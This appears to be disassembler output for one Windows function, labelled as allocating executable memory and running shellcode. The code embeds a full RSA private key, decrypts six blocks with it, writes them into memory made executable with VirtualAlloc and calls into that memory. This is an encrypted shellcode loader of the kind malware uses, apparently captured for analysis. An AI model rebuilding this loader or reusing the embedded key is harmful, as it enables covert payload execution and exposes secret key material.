Function at 0x65f5a8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x38
call fcn.00650aa0
mov dword [esp + 8], 0x662054
mov dword [esp + 4], 0x1000
mov dword [esp], str._____BEGIN_RSA_PRIVATE_KEY______nMIIEpAIBAAKCAQEAyxo2mcaPs_ZeIiA0q36ZkYJ_ReorFzYkZ1cWlRBvuGnWgzv_nakCmaW5eEra_j2lGnsg4Ew4T7U9R0F7NVelJ0PB_nqycChW76MMPRMkE4hAV5Ew_nSJmtrQTlC7SQg9dzve1vBFxk1_jUN4iLZYcIvzYYRRxl6aoHqhKwH5DtjDxwjg3d_no1y9LrTRdH_7qHZAtWgWcFTm99AfbBOHdrRi__7Z8wg681X8tV_5S2mLIY52bYV_n8_zM2SRyoIUqOvHofUHAmD0H591u9qdITTE9zUErJzGjK_t9WqkTpZFU6ovvYzS_nhh4gp21CYQhstn5wODtQbeyO9RwgV_EpiXZ_7QIDAQABAoIBABL3V7H0gOblUtUM_n_N4m7GBSN2BoBa4dODkOQO8PfzQ8DkyyeIkLkH6398D3n9vckOOy_smIvwOiLJmw_nwKwNJPF9eTzaX7nmKybyok6eq_4QUnsHP4qm7VUh68YJYaqT_ykd4GIv0IL0oV9_nEsdgXMiXHXXuQyg_CY9qITKGTEdXb7UD9nhXLO1tJzuOvnprVeCSGrNmLGG_nrQIYwRuyPIz1BvwuwoRoclBzkP8cvmDyv5ckTRctd8uRTy1LJiG7klW3jWtN5A_nUkpMoORhzwOTuxwm96C2GYQh3EhSspGaDTjYN6jpgtZSKLDbJwYhG7WBhmGBY40J_n5H6mqAECgYEA16NB0QkW1ya5g7ia2vovu_MQp51DFFEdbxurBx5CTuU7DbjK9jM8_n3sJmsr7bTOXd8vmMmMIlclNtk2v_PviB5WVcCdrS4KsXyD1bydm17TvjdNA45esO_nWXPK94z8wGYDJcrGnKGXmbxcwaEIQCAKcZGq5BRL59Gc0WN2F89UasECgYEA8R5M_nlVtZ6iPeeffoM4YJMbg5D4lPC9Qfiebwz3PyFJMyDzTfalD5SVEBVTs5F_ZkuC_nJXCXQkOzweeS8jeQvPIX9agDActyBaHADrxUi2Qy97V0_8IBIRGdPTpDf9FALunh_nXZf_v3BXvVVjIDgFrDutwhs9KYESKmg0cm6vC0CgYBJl141R9EYeTh_ThsDwIH_nZJaEfXkND_m5l3mwvjTm8_hJYI1zpFzbsQCXccnwTMT3vKKl4dsEujMbQj5FppO_nDV9xxYoPmWpYrdWlcQuqEeh8AXbAXMuOARGo4kGqEnetesPSdudj2A9zq9YRa_n6dmmaP7WqISaORVuXsVygQKBgQDgFYOhDwwKQRmjCtV_BOOIlKkzXzYlrdDxzXI_nhqqThoEbWwRGdcfGrxJ_TgT23WmMWBEBEJlSmS73V2tGtoNKRkgkIufghB3MxB2E_n1FxSS2XetoIsqzV3cTJL09klcegPcYbj_76Dmc9bm_Mq30XOYoxCqCP4bZ7fUIb_nljp4ZQKBgQC4vts9bmuxhfDe05a5Z9KOYTKuSHuxfiO3nezKKfDj6SquFPy8GI_nijCZFzFYxW2DHYuTarW5Hc_ZD27r37ZhfNMolnbkOqEZsSa7I0QRge3ufrb__5wU_nNsLw1vW9LvI5wvEb74KIdIAcioRMnmt9u_KwYe8BeJ8gdB39vOA_n_____END_RSA_PRIVATE_KEY______n
call fcn.00401542
mov dword [ebp - 0x20], eax
test eax, eax
jne 0x65f617
mov dword [esp], 2
call dword [0x66144c]
mov dword [esp + 4], str.err:load_privkey._n
mov dword [esp], eax
call fcn.004014f0
cmp dword [ebp - 0x20], 0
jne 0x65f813
xor ebx, ebx
mov esi, 1
jmp 0x65f839
xor ecx, ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ecx
mov dword [esp + 4], ecx
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call fcn.00401dc0
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x65f5e4
mov dword [esp], 0x4b0
call sub.msvcrt.dll_malloc
mov ebx, eax
test eax, eax
jne 0x65f66b
mov dword [esp], 2
call dword [0x66144c]
mov dword [esp + 4], str.err:memory_allocation._n
mov dword [esp], eax
call fcn.004014f0
jmp 0x65f832
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x662712
mov dword [esp], 0x100
call fcn.00410390
mov esi, eax
cmp eax, 0xffffffff
je 0x65f7e6
mov dword [esp + 0x10], 1
mov edi, dword [ebp - 0x1c]
lea eax, [ebx + eax]
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
mov dword [esp + 4], 0x662813
mov dword [esp], 0x100
call fcn.00410390
cmp eax, 0xffffffff
je 0x65f7e8
add esi, eax
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], 0x662914
mov dword [esp + 0xc], eax
lea eax, [ebx + esi]
mov dword [esp + 8], eax
mov dword [esp], 0x100
call fcn.00410390
cmp eax, 0xffffffff
je 0x65f7e8
add esi, eax
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], 0x662a15
mov dword [esp + 0xc], eax
lea eax, [ebx + esi]
mov dword [esp + 8], eax
mov dword [esp], 0x100
call fcn.00410390
cmp eax, 0xffffffff
je 0x65f7e8
add esi, eax
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], 0x662b16
mov dword [esp + 0xc], eax
lea eax, [ebx + esi]
mov dword [esp + 8], eax
mov dword [esp], 0x100
call fcn.00410390
cmp eax, 0xffffffff
je 0x65f7e8
mov dword [esp + 0x10], 1
add esi, eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], 0x662c17
mov dword [esp + 0xc], eax
lea eax, [ebx + esi]
mov dword [esp + 8], eax
mov dword [esp], 0x100
call fcn.00410390
mov ecx, eax
cmp eax, 0xffffffff
je 0x65f7e8
add ecx, esi
xor edx, edx
mov esi, ebx
mov dword [esp + 0xc], 0x40
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x1000
mov dword [ebp - 0x28], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x28]
mov edi, eax
sub esp, 0x10
mov dword [ebp - 0x24], eax
rep movsb byte es:[edi], byte [esi]
mov dword [esp], str.calling..._n
xor esi, esi
call fcn.00401511
mov edx, dword [ebp - 0x24]
call edx
jmp 0x65f81f
xor esi, esi
mov dword [esp], 2
call dword [0x66144c]
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], esi
mov dword [esp + 4], str.err:decrypt_vl:dlen:_d_i:_d
mov dword [esp], eax
call fcn.004014f0
jmp 0x65f832
xor eax, eax
mov esi, 1
xor ebx, ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
jmp 0x65f839
mov esi, 1
jmp 0x65f81f
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call fcn.004107e0
mov dword [esp], ebx
call fcn.0065f328
lea esp, [ebp - 0x10]
mov eax, esi
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret